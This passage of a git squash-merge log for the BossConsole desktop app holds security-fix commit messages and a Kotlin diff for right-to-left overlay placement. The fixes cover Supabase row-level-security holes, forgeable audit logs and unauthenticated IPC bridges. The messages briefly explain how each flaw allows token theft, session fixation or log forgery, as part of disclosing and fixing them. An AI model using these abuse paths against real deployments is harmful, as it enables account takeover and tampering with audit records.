table returns every in-flight login's access and refresh token. Polling faster than the legitimate desktop wins the race to any QR-logging-in user's session, which is account takeover. 2. Denial of service. A single DELETE wipes all in-flight logins. 3. Session fixation. anon INSERT pre-seeds a victim's session_id with attacker-controlled tokens, which the victim's desktop imports as its own. Reported as BossConsole#528 by @Rushikeshiitb, including the fix shape used here. Safe because no client reaches the table directly any more, which I verified rather than took on trust: grepping the desktop source for completed_authentications returns nothing outside build output, and the desktop polls GET /passkey/auth/status/{sessionId} instead (SupabaseApiClient.kt:103). Every read and write happens inside the passkey Edge Function, whose Supabase client is built with SUPABASE_SERVICE_ROLE_KEY (passkey/index.ts:36). service_role bypasses RLS, so the anon and authenticated policies and grants are dead code on the live path. The authenticated policies go with the anon ones because the flow does not use them either, and leaving a role with standing access to a table of bearer tokens is the condition that made this exploitable. Follows 20260910120000_restrict_plugin_downloads_rls.sql: revoke the base-table privileges as well so the gate does not rest on RLS alone, including from PUBLIC, since a grant there would survive revoking the two named roles. The six policy names were checked against 20251023000013_rls_policies.sql programmatically. A mistyped name in DROP POLICY IF EXISTS is a silent no-op that would leave the hole open, and the pgTAP test asserts absence rather than trusting the drop. Co-Authored-By: Claude Opus 5 * test(db): carry over service_role privilege assertions from #530 BossConsole#530 by @Rushikeshiitb asserted that service_role keeps every verb on completed_authentications after the lockdown; this suite only checked the surviving policy. Merge the two companion submissions by adopting those four assertions (plan 11 -> 15) so a too-aggressive revoke of the service-role grant fails the pgTAP suite. * fix(db): revoke client EXECUTE on the expired-row cleanup RPC cleanup_expired_completed_authentications() is granted to anon and authenticated at 20251023000014_grants.sql:240-241, but no client code calls it: it returns void, only deletes rows past expires_at_timestamp, and after the table revoke it cannot execute its DELETE as a client anyway. Revoke the client EXECUTE so no client role keeps any handle to the token table, and pin it with three pgTAP assertions (plan 15 -> 18). Answering the open question raised in the PR description. * fix(db): also revoke PUBLIC EXECUTE on the cleanup RPC PostgreSQL grants EXECUTE on functions to PUBLIC by default, so the previous REVOKE ... FROM anon, authenticated left =X/postgres in the function ACL and has_function_privilege kept returning true for both client roles (pgTAP tests 16-17 failed on the previous head). Revoke from PUBLIC as well, matching the table revoke; service_role keeps its explicit grant (verified f|f|t in a scratch PostgreSQL 17). * test(db): pin the policy set and the verbs a named REVOKE leaves behind Claude's review of this PR found the two per-role policy checks would pass a policy created without a TO clause (pg_policies records it as roles = {public}, so it applies to everyone yet matches neither client role), that TRUNCATE - the one verb row level security cannot stop - was unasserted, and that authenticated was missing its UPDATE assertion. - Assert the full policy set is exactly the service_role one instead of checking each client role separately; verified on scratch PostgreSQL 17 that an unscoped policy fails the new assertion and passes the old one. - Assert TRUNCATE, REFERENCES and TRIGGER for both client roles, matching the precedent suite plugin_downloads_access_test.sql. - Add the authenticated UPDATE assertion, so both client roles are now covered per verb as the header promised. - Reword the cleanup-RPC comment to lead with the REVOKE EXECUTE as the actual gate and flag the stale SECURITY DEFINER header comment on cleanup_expired_completed_authentications (20251023000003_passkey_functions.sql:221) that made the fallback argument fragile. plan 18 -> 24. Verified all 24 assertions on a scratch PostgreSQL 17 replica of the post-migration state. --------- Co-authored-by: Claude Opus 5 Co-authored-by: kshivang Co-authored-by: Shivang * fix(security): stop two audit logs accepting forged rows from any client (#538) * fix(security): stop two audit logs accepting forged rows from any client `secret_access_log` and `plugin_api_key_logs` are the audit trails for secret access and for plugin-store API key usage. Both had an INSERT policy of `WITH CHECK (true)` with no `TO` clause, and a policy with no `TO` clause applies to PUBLIC, which includes anon and authenticated. Both tables are writable by those roles. secret_access_log has an explicit `GRANT ALL ... TO anon, authenticated`. plugin_api_key_logs has no explicit grant, but 20251023000014_grants.sql sets `ALTER DEFAULT PRIVILEGES ... GRANT ALL ON TABLES TO anon, authenticated` and that table is created later, so it inherits it. The anon key ships in the desktop client, so anybody could append arbitrary rows to either log. secret_access_log.user_id was unconstrained, so a row claiming another user viewed or shared a secret could be written at will, and the table's own SELECT policy then shows it to the named user and to every admin as though it were real. A genuine access event could equally be buried under forged entries, which is the failure an audit log exists to prevent. Neither policy comment described this. The plugin_api_key_logs policy is named "Service role can insert API key logs", which is what it was meant to be and not what it did. No legitimate writer is affected. Every function that writes secret_access_log inserts auth.uid() as user_id, which the new predicate permits. plugin_api_key_logs is written only by log_api_key_action(), which is SECURITY DEFINER and granted to service_role alone, so it bypasses RLS and needs no INSERT policy at all. Nineteen pgTAP assertions cover the fix, with privileges checked per verb rather than with a single ALL check, because has_table_privilege(..., 'ALL') is true only when every verb is held and one re-granted verb would pass an ALL-shaped assertion while leaving the hole open. Co-Authored-By: Claude Opus 5 * fix(db): close the definer-RPC door Claude's review opened Claude review found the plugin_api_key_logs half did not close the hole: log_api_key_action() is SECURITY DEFINER owned by postgres, and clients still held EXECUTE on it (PostgreSQL grants EXECUTE to PUBLIC by default, plus the schema-wide default-privilege grants inherited by this later-created function; the explicit service_role grant is additive). Any client could forge API-key history through the RPC even with the table locked. - Revoke EXECUTE on log_api_key_action() from PUBLIC, anon and authenticated; service_role (the only caller, via the plugin-store Edge Function's service-role client) keeps it. - secret_access_log: revoke authenticated INSERT too - every writer is SECURITY DEFINER owned by postgres and bypasses RLS without client table privilege, so a scoped client INSERT could only forge self-attributed rows. Drop the INSERT policy instead of recreating it scoped, since no client statement can insert anyway. - Tests: assert the RPC EXECUTE rejections/retention (3), flip the authenticated INSERT assertion, replace the three policy-shape assertions with an absence check (plan 19 -> 20). * fix(security): close the second RPC and the verbs a named REVOKE leaves behind Builds on kshivang's 2328a13, which closed the definer-RPC door the review found. Three things the review named are still open after it. update_api_key_last_used() has the same shape as log_api_key_action(): same file, SECURITY DEFINER, EXECUTE never revoked, service_role grant additive. A client can still stamp last_used_at on any key id, which corrupts the same audit story from the other end and makes a dormant key look live. Revoked, with the same three assertions the other RPC now has. Revoking named verbs leaves the rest of the original GRANT ALL: TRUNCATE, REFERENCES and TRIGGER. TRUNCATE is the one that matters, because it is not subject to row level security at all, so no policy can be its backstop. anon already lost these to the REVOKE ALL; authenticated did not. The per-verb argument in the test header was applied to one table. For plugin_api_key_logs only anon INSERT, authenticated INSERT and authenticated SELECT were asserted, so a re-grant of anon SELECT, UPDATE or DELETE, or of authenticated UPDATE or DELETE, failed nothing. That is the precise failure the header set out to prevent. The API key log policy's command is pinned too: a policy recreated as FOR ALL under the same name and role would otherwise pass every other assertion while granting far more. Six assertions are behavioural rather than catalogue-shaped, following plugin_downloads_access_test.sql: set the role, attempt the write, assert 42501. Each is one of the three defects in the migration header, tested directly rather than inferred from a privilege bit. Plan 20 to 39. I still cannot run supabase test db locally: no Supabase CLI, psql or Docker on this machine. CI's Database job remains the real check. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Opus 5 Co-authored-by: kshivang * refactor(startup): split monolithic main.kt into modular startup phases (#450) * fix(microkernel): resolve startup failures and stabilize service lifecycle * fix: CI workflows * refactor(startup): split monolithic main.kt into modular startup phases * fix: CI and workflows * fix(startup): preserve failure notices and safe descendant teardown * test(startup): pin forwarding and shutdown extraction contracts * fix(kernel): report a restart cap once per failed generation * style(startup): format extraction regression tests * fix(startup): keep restored comments scoped to window composition * fix(startup): separate cancellation from shutdown timeout * fix(startup): acquire instance ownership before starting kernel * fix(startup): release ownership on construction failure and retry partial natives * fix(microkernel): retain repair notices and await forced process exit * test(startup): simplify interrupted native stream fixture * fix(startup): publish extracted native files atomically * fix(startup): coalesce retained diagnostics and normalize saved mode writes * fix(startup): unify effective mode gates and bound operator diagnostics * fix(settings): retain pending process mode and report save failures * fix(settings): synchronize pending mode across windows and explain unavailable builds * fix(settings): let shared preference refresh own displayed mode * fix(settings): use themed save errors and strengthen availability coverage * fix(build): restore store synchronization imports after dev integration * fix(settings): show running readiness and load mode support asynchronously * fix: failed menu save in BossWindow * fix(startup): integrate current dev, restore merge-dropped startup wiring The prior dev merge reintroduced closed #419 content on top of current dev, leaving duplicate single-instance blocks, a parallel BOSS_MODE preference writer, and dropped shutdown-registration wiring. - Remove the duplicate single-instance block in main.kt; keep the CliBootstrap.forwardToExistingInstance path - Restore the Phase 5 shutdown-hook registration (ShutdownSequence.register { kernelBootstrap } + lock-acquired log) that the merge dropped - Drop the branch's parallel EnvVars/ConfigLoader mode writers in favor of dev's canonical MicrokernelModePreference (#481); AdvancedSettings is byte-identical to dev - Route CLI deep-link forwarding through dev's forwardDeepLinkWithRetry (action links: 1 attempt; others: 3) without short-circuiting a multi-file selection after one failure - Restore awaitForcedExit waits + takeUnless{isAlive} unregister guards in OutOfProcessPluginSpawnerImpl cleanup/terminate (load-bearing for reaping; dev keeps the window-scoped hashed processId) - Remove dead microkernelMenuLabel; update CliBootstrap/EnvVars tests and AGENTS.md BOSS_MODE section to match dev's model * fix(startup): close the env_vars reader split and review follow-ups Env vars: - One shared normalization (EnvVarsFormat, commonMain) for the env_vars file: both in-repo readers (ConfigLoader's BOSS_MODE tier and MicrokernelModePreference's toggle reader) now parse identical line semantics, so Settings and the runtime gate can no longer state opposite modes for one file. export KEY=value is now recognized by both (shell convention; env_vars doubles as the secret-manager plugin's key file), and an indented '# BOSS_MODE=KERNEL' is a comment in both readers. - ConfigLoader.loadEnvVars widens its catch to Throwable: an ExceptionInInitializerError or NoClassDefFoundError from BossDirectories' own static init can no longer escape ConfigLoader's and poison every later getConfig call. - Restored dev's per-attempt 'Open request forwarding completed' INFO log in CliBootstrap (the extraction had left only the failure WARN). - A fully successful KERNEL spawn is logged, not toasted: only missing JARs or failed spawns report to the startup notice queue (previously every healthy launch showed a 12s developer-worded toast). Docs: - AGENTS.md: the env_vars priority paragraph and the microkernel toggle section no longer contradict each other - the toggle now activates the next launch via the env_vars tier, applied on restart, with the latched startup snapshot still as the 'restart required' comparand. - startupEnabledLatched KDoc updated to the post-env-vars-tier reality. Tests: - EnvVarsTest: export-prefixed and indented-comment line pins. - MicrokernelModePreferenceTest: indented-comment reads as disabled; new test asserts the settings reader and ConfigLoader reader agree line by line across the sample matrix. - ServiceStartupSummaryTest: the notice gate (no toast on a clean spawn, toast on missing/failed services). --------- Co-authored-by: Shivang Co-authored-by: kshivang * fix(kernel): require a verified caller identity for the secrets and RBAC IPC bridges (#505) * fix(kernel): require a verified caller identity for the secrets and RBAC IPC bridges BossConsole#53 built a ServerInterceptor (ProcessIdentityInterceptor / ProcessTokenRegistry) that verifies which process is calling the kernel's out-of-process IPC surface, independent of anything a request body claims - but only wired it into PluginUIServiceBridge. The other fourteen service bridges, documented in that interceptor's own KDoc as "none of them authenticated today", still trust every caller unconditionally. SecretServiceBridge and RoleManagementServiceBridge are the two where that actually matters: the whole password vault (list/search/create/update/ delete/share/unshare) and RBAC (roles, permissions, grants) had no caller attribution at all. Any out-of-process plugin that can reach the kernel's local IPC socket could read, mutate or share every secret, or mint and revoke permission grants, with nothing to tell one plugin's calls from another's. Both bridges now require AUTHENTICATED_PROCESS_ID on every RPC - reads included, not only mutations, since an unattributed read of the vault list is exactly the exposure this closes - and refuse with PERMISSION_DENIED before the request ever reaches the underlying provider when there is none. Every mutating call also logs the verified caller identity, so a compromised or rogue plugin's activity is attributable after the fact. Every legitimate out-of-process plugin already carries a valid credential in production (ChildProcessBootstrap attaches ProcessTokenClientInterceptor whenever BOSS_PROCESS_TOKEN is set, which ProcessSpawner sets for every child it spawns), so this closes the gap without changing behavior for any real plugin. Tests exercise both bridges over a real gRPC server and real client, mirroring PluginUIServiceBridgeTest's own harness: an authenticated caller succeeds, an anonymous one is refused, and - the assertion that actually matters - the underlying provider is never invoked on a refusal. * test(kernel): pin the identity gate on late-registered bridges and close the updateSecret gap - SecretServiceBridgeTest: updateSecret gets its own anonymous-refusal test, matching the vault mutations it already covered. - SecretServiceBridgeTest: a service registered on an already-started server (BossIpcServer's late-service fallback registry, as KernelBootstrap.registerPluginServices does) is still gated by ProcessIdentityInterceptor - anonymous calls are refused before the vault is reached, token calls go through. This pins the registration order (fallbackHandlerRegistry before intercept) the production path relies on. - KDoc on both authenticatedCallerOrRefuse helpers: the AUTHENTICATED_PROCESS_ID snapshot is correct for unary RPCs; a streaming bridge must read CURRENT_IDENTITY instead (see PluginUIServiceBridge.streamUI). * test(kernel): tighten RBAC/secret refusal assertions, add revoked-token coverage, fix stale KDocs RoleManagementServiceBridgeTest: getRolePermissions, validateRoleName and validatePermissionName were asserted only as "some StatusException", with no counters on FakeRoleManagementProvider at all - a bare assertFailsWith would pass just as happily on UNAVAILABLE or UNIMPLEMENTED, contradicting the class's own KDoc claim that every refusal test proves the provider was never reached. Added the three missing counters and now assert PERMISSION_DENIED plus a zero counter on every refusal in both bridge test files, not just the two "an anonymous caller is refused" tests. SecretServiceBridgeTest: the late-registration test called tokenRegistry.issue(DEFAULT_PROCESS) for the same id setUp already issued for - issue() replaces and invalidates the previous token by design, so this silently killed the credential the shared `authenticated` stub carries for the rest of the class. Now issues a distinct id. lateServer teardown moved into a finally so a failed assertion doesn't leak a bound server. Moved an orphaned KDoc comment back onto FakeSecretDataProvider (SingleServiceRegistry's insertion had left it dangling above the wrong class). Added a revoked-token test to both files: identityFor returns null for a token the registry no longer holds, the post-reapChildren/post-respawn case, previously untested - every existing refusal test only covered "no credential at all", not "a credential that was live and got pulled". Two stale KDoc facts fixed in boss-ipc: ProcessIdentityInterceptor's comment named PluginUIServiceBridge as the only bridge checking identity (now three of fifteen, with SecretServiceBridge and RoleManagementServiceBridge named); BossIpcServer's tokenRegistry KDoc claimed a null registry "leaves every service's behaviour exactly as it was", which stopped being true for a server hosting either of the two fail-closed bridges - a null registry there means every call refused, not merely unauthenticated as before. * docs(ipc): correct the unauthenticated bridge count in the interceptor KDoc The kernel registers 16 bridges on its ipcServer (15 in KernelBootstrap.registerPluginServices plus PluginUIServiceBridge at KernelBootstrap.kt:475); three authenticate, so thirteen are unauthenticated, not twelve. Per the Claude review's one-word count fix. --------- Co-authored-by: kshivang * fix(overlays): honor RTL and fractional placement * fix(overlays): carry RTL through regions and round owned dialogs * style(overlays): apply ktlintFormat to the RTL region repair --------- Signed-off-by: dependabot[bot] Co-authored-by: Nilesh Vasita Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Shivang Co-authored-by: Shivanshu Co-authored-by: Rushikeshiitb <169101337+Rushikeshiitb@users.noreply.github.com> Co-authored-by: Patel Karma Rohit Co-authored-by: Aditya8369 Co-authored-by: passionate-coder26 Co-authored-by: Antriksh1984 Co-authored-by: rehannayeem0786 Co-authored-by: rehannayeem0786 <128595058+rehannayeem0786@users.noreply.github.com> Co-authored-by: sgoel2be24-cyber <223222024+sgoel2be24-cyber@users.noreply.github.com> Co-authored-by: Procs <168113425+ProportanilityConstant@users.noreply.github.com> Co-authored-by: john k Co-authored-by: john k Co-authored-by: Shwetas Dhake Co-authored-by: AdityaK-iiita Co-authored-by: Oleksii (Lexi) Kyrylchuk Co-authored-by: Sahvendra Co-authored-by: Aishwary Anand <201525941+Aishwary11-11@users.noreply.github.com> Co-authored-by: Aishwary Anand Co-authored-by: Ayush Santosh Chhatre <109429245+Ayush04-C@users.noreply.github.com> Co-authored-by: ayush Co-authored-by: Anshul Pundhir <129892939+pundhiranshul@users.noreply.github.com> Co-authored-by: Sanjay Co-authored-by: arjun28115 Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Achintya Chaurasia Co-authored-by: surfthewave-commits Co-authored-by: Ayushman <139611211+InfoSage05@users.noreply.github.com> Co-authored-by: Kanak Khandelwal <152528927+Kanakk23@users.noreply.github.com> Co-authored-by: Ishaan Chowdhury Co-authored-by: Karan Raj Co-authored-by: john_cybersage Co-authored-by: aryanbajaj868 <117334799+aryanbajaj868@users.noreply.github.com> Co-authored-by: Risa Labs Co-authored-by: john k Co-authored-by: kshivang Co-authored-by: Santhi Prakash <38608178+santhiprakash@users.noreply.github.com> Co-authored-by: pundhiranshul --- .../ai/rever/boss/app/BossAppScaffold.kt | 3 +- .../rever/boss/app/FocusModeQuickActions.kt | 7 ++- .../VerticalTabBarDrawer.kt | 17 ++++-- .../components/overlays/HeavyweightCorner.kt | 19 +++++-- .../overlays/OverlayWindowBounds.kt | 50 +++++++---------- .../rever/boss/app/ContentInsetLayoutTest.kt | 18 +++++- .../overlays/HeavyweightCornerTest.kt | 56 +++++++++++++++++++ 7 files changed, 126 insertions(+), 44 deletions(-) diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppScaffold.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppScaffold.kt index cb1f2823ca..a443dcddfa 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppScaffold.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppScaffold.kt @@ -97,6 +97,7 @@ import androidx.compose.ui.Alignment import androidx.compose.ui.Modifier import androidx.compose.ui.focus.focusRequester import androidx.compose.ui.platform.LocalDensity +import androidx.compose.ui.platform.LocalLayoutDirection import androidx.compose.ui.platform.LocalWindowInfo import androidx.compose.ui.unit.Dp import androidx.compose.ui.unit.DpSize @@ -699,7 +700,7 @@ internal fun BossAppScaffold( modifier = Modifier .weight(1f) - .reportContentInset(density) { contentInset = it }, + .reportContentInset(density, LocalLayoutDirection.current) { contentInset = it }, ) { BossWindow( modifier = Modifier.fillMaxSize(), diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/FocusModeQuickActions.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/FocusModeQuickActions.kt index 06906ce51d..56b78c9fa0 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/FocusModeQuickActions.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/FocusModeQuickActions.kt @@ -37,6 +37,7 @@ import androidx.compose.ui.platform.LocalWindowInfo import androidx.compose.ui.platform.testTag import androidx.compose.ui.unit.Dp import androidx.compose.ui.unit.DpSize +import androidx.compose.ui.unit.LayoutDirection import androidx.compose.ui.unit.dp /** @@ -604,6 +605,7 @@ internal fun BoxScope.FocusModeQuickActions( */ internal fun Modifier.reportContentInset( density: Float, + layoutDirection: LayoutDirection, onInset: (DpSize) -> Unit, ): Modifier = onGloballyPositioned { coordinates -> @@ -616,7 +618,10 @@ internal fun Modifier.reportContentInset( // overlay outside the content pane - the failure `cornerPosition`'s floor prevents, // reintroduced a layer up. `boundsInRoot` clips to the root so it cannot go // negative today; this costs nothing and stops that being load-bearing. - ((root.width - bounds.right).coerceAtLeast(0f) / density).dp, + ( + (if (layoutDirection == LayoutDirection.Rtl) bounds.left else root.width - bounds.right) + .coerceAtLeast(0f) / density + ).dp, ((root.height - bounds.bottom).coerceAtLeast(0f) / density).dp, ), ) diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/components/window_panel/components/main_window_panels/VerticalTabBarDrawer.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/window_panel/components/main_window_panels/VerticalTabBarDrawer.kt index 1f63471364..f85cf5df32 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/components/window_panel/components/main_window_panels/VerticalTabBarDrawer.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/window_panel/components/main_window_panels/VerticalTabBarDrawer.kt @@ -18,9 +18,11 @@ import androidx.compose.ui.Alignment import androidx.compose.ui.Modifier import androidx.compose.ui.geometry.Rect import androidx.compose.ui.input.pointer.pointerInput +import androidx.compose.ui.platform.LocalLayoutDirection import androidx.compose.ui.unit.Dp import androidx.compose.ui.unit.DpSize import androidx.compose.ui.unit.IntRect +import androidx.compose.ui.unit.LayoutDirection import androidx.compose.ui.unit.dp import kotlin.math.roundToInt @@ -84,7 +86,7 @@ fun BoxScope.VerticalTabBarDrawer( val region = panelRegion ?: return val heavyweight = overlayCornerIsHeavyweight() - val drawerRegion = region.besideLeadingRail(railWidth) + val drawerRegion = region.besideLeadingRail(railWidth, LocalLayoutDirection.current) if (heavyweight) { OverlayCorner( @@ -127,10 +129,15 @@ fun BoxScope.VerticalTabBarDrawer( * beside the rail). That "wrong but visible" choice is inherited, not handled here, and only * bites for a panel narrower than the rail itself. */ -internal fun IntRect.besideLeadingRail(railWidth: Dp): IntRect { - val railEnd = (left + railWidth.value.roundToInt()).coerceAtMost(right) - return copy(left = railEnd) -} +internal fun IntRect.besideLeadingRail( + railWidth: Dp, + layoutDirection: LayoutDirection = LayoutDirection.Ltr, +): IntRect = + if (layoutDirection == LayoutDirection.Rtl) { + copy(right = (right - railWidth.value.roundToInt()).coerceAtLeast(left)) + } else { + copy(left = (left + railWidth.value.roundToInt()).coerceAtMost(right)) + } /** * A layout rectangle converted to the dp-relative-to-content-pane form a heavyweight overlay is diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/HeavyweightCorner.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/HeavyweightCorner.kt index 9c64a7e40e..d92298e6da 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/HeavyweightCorner.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/HeavyweightCorner.kt @@ -19,6 +19,7 @@ import androidx.compose.ui.awt.ComposeDialog import androidx.compose.ui.layout.layout import androidx.compose.ui.layout.onGloballyPositioned import androidx.compose.ui.platform.LocalDensity +import androidx.compose.ui.platform.LocalLayoutDirection import androidx.compose.ui.unit.Constraints import androidx.compose.ui.unit.DpSize import androidx.compose.ui.unit.IntRect @@ -105,6 +106,7 @@ fun HeavyweightCorner( ) { val parent = LocalAwtWindow.current val density = LocalDensity.current.density + val layoutDirection = LocalLayoutDirection.current var measured by remember { mutableStateOf(null) } val size = measured ?: initialSize val bounds = trackedContentPaneBounds(parent) ?: return @@ -113,7 +115,10 @@ fun HeavyweightCorner( // `bounds` only changes identity on a real change (see [trackedContentPaneBounds]), and a fresh // array every recomposition would re-run the placement effect, and with it a native // setLocation, for nothing. - val region = remember(bounds, inset, regionInWindow) { resolveRegion(bounds, inset, regionInWindow) } + val region = + remember(bounds, inset, regionInWindow, layoutDirection) { + resolveRegion(bounds, inset, regionInWindow, layoutDirection) + } // The measurement ceiling is the REGION itself - the whole parent content pane - not the // first-frame [initialSize]. The ceiling is a hard clip, and toast text is arbitrary plugin // content: three wordy toasts can exceed a fixed height like 600dp, and because the window is @@ -127,14 +132,16 @@ fun HeavyweightCorner( val state = rememberWindowState( size = size, - position = cornerPosition(region, size, alignment).let { WindowPosition(it.first.dp, it.second.dp) }, + position = + cornerPosition(region, size, alignment, layoutDirection) + .let { WindowPosition(it.first.dp, it.second.dp) }, ) // Assign window state from an effect, never during composition - writing it inline during // composition is what made the cursor overlay jitter. - LaunchedEffect(size, region, alignment) { + LaunchedEffect(size, region, alignment, layoutDirection) { state.size = size - val at = cornerPosition(region, size, alignment) + val at = cornerPosition(region, size, alignment, layoutDirection) state.position = WindowPosition(at.first.dp, at.second.dp) } @@ -268,9 +275,9 @@ private fun OwnedCornerDialog( } dialog.setSize( state.size.width.value - .toInt(), + .roundToInt(), state.size.height.value - .toInt(), + .roundToInt(), ) }, ) { diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/OverlayWindowBounds.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/OverlayWindowBounds.kt index 7ffeecf258..f5778ef11c 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/OverlayWindowBounds.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/overlays/OverlayWindowBounds.kt @@ -7,6 +7,8 @@ import androidx.compose.runtime.remember import androidx.compose.ui.Alignment import androidx.compose.ui.unit.DpSize import androidx.compose.ui.unit.IntRect +import androidx.compose.ui.unit.IntSize +import androidx.compose.ui.unit.LayoutDirection import androidx.compose.ui.unit.dp import androidx.compose.ui.window.WindowPosition import androidx.compose.ui.window.WindowState @@ -142,19 +144,21 @@ internal fun resolveRegion( bounds: IntArray?, inset: DpSize, regionInWindow: IntRect?, + layoutDirection: LayoutDirection = LayoutDirection.Ltr, ): IntArray? { - if (bounds == null || regionInWindow == null) return insetBounds(bounds, inset) + if (bounds == null || regionInWindow == null) return insetBounds(bounds, inset, layoutDirection) val left = regionInWindow.left.coerceIn(0, bounds[2]) val top = regionInWindow.top.coerceIn(0, bounds[3]) val width = regionInWindow.width.coerceAtMost(bounds[2] - left) val height = regionInWindow.height.coerceAtMost(bounds[3] - top) - if (width <= 0 || height <= 0) return insetBounds(bounds, inset) + if (width <= 0 || height <= 0) return insetBounds(bounds, inset, layoutDirection) return intArrayOf(bounds[0] + left, bounds[1] + top, width, height) } /** * Top-left corner, in AWT logical units, for an overlay of [size] placed at [alignment] inside * [bounds] - or the origin when the parent could not be measured. + * Start/end follow [layoutDirection]; absolute alignments retain their physical edges. * * Pure so the arithmetic is pinned by a test; composing a `Window` needs a display, so this is the * only reachable part. Offsets are floored at zero so content larger than the parent overhangs the @@ -164,39 +168,22 @@ internal fun cornerPosition( bounds: IntArray?, size: DpSize, alignment: Alignment, + layoutDirection: LayoutDirection = LayoutDirection.Ltr, ): Pair { if (bounds == null) return 0 to 0 - val width = size.width.value.toInt() - val height = size.height.value.toInt() - val slackX = (bounds[2] - width).coerceAtLeast(0) - val slackY = (bounds[3] - height).coerceAtLeast(0) - val x = - bounds[0] + - when (alignment) { - Alignment.TopStart, Alignment.CenterStart, Alignment.BottomStart -> 0 - Alignment.TopEnd, Alignment.CenterEnd, Alignment.BottomEnd -> slackX - else -> slackX / 2 - } - val y = - bounds[1] + - when (alignment) { - Alignment.TopStart, Alignment.TopCenter, Alignment.TopEnd -> 0 - Alignment.BottomStart, Alignment.BottomCenter, Alignment.BottomEnd -> slackY - else -> slackY / 2 - } - return x to y + val content = IntSize(size.width.value.roundToInt(), size.height.value.roundToInt()) + val available = IntSize(bounds[2], bounds[3]) + val offset = alignment.align(content, available, layoutDirection) + return bounds[0] + offset.x.coerceAtLeast(0) to bounds[1] + offset.y.coerceAtLeast(0) } /** * [bounds], with [inset] taken off its END and BOTTOM edges - the sub-region a caller anchored to * part of the window is actually placing itself in. * - * Only the far edges, and that is the whole meaning rather than a simplification. The origin is - * where a `TopStart` overlay goes, and a caller inset from the right and the bottom has not moved - * its top-left corner anywhere - so a near-corner anchor must be unaffected while a far-corner one - * moves by exactly the inset. Expressing it as a smaller rectangle rather than as an offset added - * after the fact is what gets that for free, and keeps [cornerPosition]'s floor-at-the-origin - * behaviour applying to the region rather than to the window. + * End is physical right in LTR and left in RTL. Removing a left inset also moves the + * region's origin, so logical start stays fixed while logical end moves inward. Explicit + * regions remain physical rectangles; only the inset fallback needs a layout direction. * * Widths floor at zero: an inset wider than the window would otherwise produce a negative extent, * and [cornerPosition] would read that as slack and place the overlay outside the parent. @@ -209,16 +196,21 @@ internal fun cornerPosition( internal fun insetBounds( bounds: IntArray?, inset: DpSize, + layoutDirection: LayoutDirection = LayoutDirection.Ltr, ): IntArray? { // An unmeasurable parent stays unmeasurable, and a zero inset returns the SAME instance - see // the KDoc on identity above. if (bounds == null || inset == DpSize.Zero) return bounds + val endInset = + inset.width.value + .roundToInt() + .coerceIn(0, bounds[2]) return intArrayOf( - bounds[0], + bounds[0] + if (layoutDirection == LayoutDirection.Rtl) endInset else 0, bounds[1], // Rounded, not truncated: the inset is derived as px / density, which is not integral at // fractional scale factors, and truncating loses up to a unit per axis. - (bounds[2] - inset.width.value.roundToInt()).coerceAtLeast(0), + bounds[2] - endInset, (bounds[3] - inset.height.value.roundToInt()).coerceAtLeast(0), ) } diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/ContentInsetLayoutTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/ContentInsetLayoutTest.kt index 60aca26152..884e5a1388 100644 --- a/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/ContentInsetLayoutTest.kt +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/ContentInsetLayoutTest.kt @@ -12,9 +12,11 @@ import androidx.compose.runtime.Composable import androidx.compose.runtime.CompositionLocalProvider import androidx.compose.ui.Modifier import androidx.compose.ui.platform.LocalDensity +import androidx.compose.ui.platform.LocalLayoutDirection import androidx.compose.ui.test.junit4.createComposeRule import androidx.compose.ui.unit.Density import androidx.compose.ui.unit.DpSize +import androidx.compose.ui.unit.LayoutDirection import androidx.compose.ui.unit.dp import org.junit.Rule import org.junit.Test @@ -43,13 +45,17 @@ class ContentInsetLayoutTest { bottomBar: Boolean, topBar: Boolean = true, leftSidebar: Boolean = true, + layoutDirection: LayoutDirection = LayoutDirection.Ltr, ): DpSize { var reported = DpSize(-1.dp, -1.dp) rule.setContent { // A density of exactly 1 is what makes the px-to-Dp conversion untestable: every wrong // answer equals the right one. Verified by mutation - dropping the divide passes at 1x // and fails here. The scale is arbitrary, only its being non-unit matters. - CompositionLocalProvider(LocalDensity provides Density(TEST_DENSITY)) { + CompositionLocalProvider( + LocalDensity provides Density(TEST_DENSITY), + LocalLayoutDirection provides layoutDirection, + ) { ScaffoldShape(rightSidebar, bottomBar, topBar, leftSidebar) { reported = it } } } @@ -76,7 +82,7 @@ class ContentInsetLayoutTest { Modifier .fillMaxHeight() .weight(1f) - .reportContentInset(density, onInset), + .reportContentInset(density, LocalLayoutDirection.current, onInset), ) if (rightSidebar) Bar(modifier = Modifier.fillMaxHeight().width(RIGHT_SIDEBAR)) } @@ -121,6 +127,14 @@ class ContentInsetLayoutTest { assertEquals(withNearChrome, withoutNearChrome) } + @Test + fun `RTL reports the logical end sidebar rather than the physical right sidebar`() { + assertEquals( + DpSize(RIGHT_SIDEBAR, BOTTOM_BAR), + insetFor(rightSidebar = true, bottomBar = true, layoutDirection = LayoutDirection.Rtl), + ) + } + private companion object { const val TEST_DENSITY = 